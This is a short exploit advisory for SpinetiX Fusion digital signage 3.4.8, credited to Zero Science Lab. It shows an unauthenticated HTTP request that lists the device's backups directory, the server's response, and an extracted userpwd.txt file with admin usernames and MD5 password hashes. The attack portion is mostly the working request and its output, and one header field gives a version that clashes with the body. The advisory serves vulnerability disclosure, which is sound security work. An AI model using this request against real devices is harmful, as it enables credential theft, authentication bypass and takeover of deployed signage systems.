SpinetiX Fusion Digital Signage 3.4.8 - Database Backup Disclosure

# Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - Database Backup Disclosure
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.spinetix.com
# Version: <= 8.2.26

SpinetiX Fusion Digital Signage 3.4.8 Database Backup Disclosure


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The application is vulnerable to unauthenticated database download and information
disclosure vulnerability. This can enable an attacker to disclose sensitive information
resulting in authentication bypass, session hijacking and full system control.

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5593
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5593.php


03.08.2020

--


Request:
--------

GET /content/files/backups/ HTTP/1.0
Host: 192.168.1.1

Response:
---------

HTTP/1.1 200 OK
Date: Wed, 26 Aug 2020 15:57:40 GMT
Server: Apache/2.2.22 (Unix)
X-spinetix-firmware: 3.0.6-1.0.21932
X-raperca-version: 3.0.6-1.0.21912
X-spinetix-serial: 001d400027b8
X-spinetix-hw: BonsaiT
Content-Length: 636
Connection: close
Content-Type: text/html;charset=UTF-8


Index of /content/files/backups
Name                    Last modified      Size  Description
Parent Directory                           -   
Custom1337Name.7z       25-Aug-2020 10:06  1.0M  

Extracting the .7z shows userpwd.txt file, cat userpwd.txt:

admin:e10adc3949ba59abbe56e057f20f883e:file,program,activate,layout,playlist,model,slide,edit,admin::0
testingus:b874da212a62786181c66c5bbaabf425:file,program,activate,layout,playlist,model,slide,edit,admin:se:1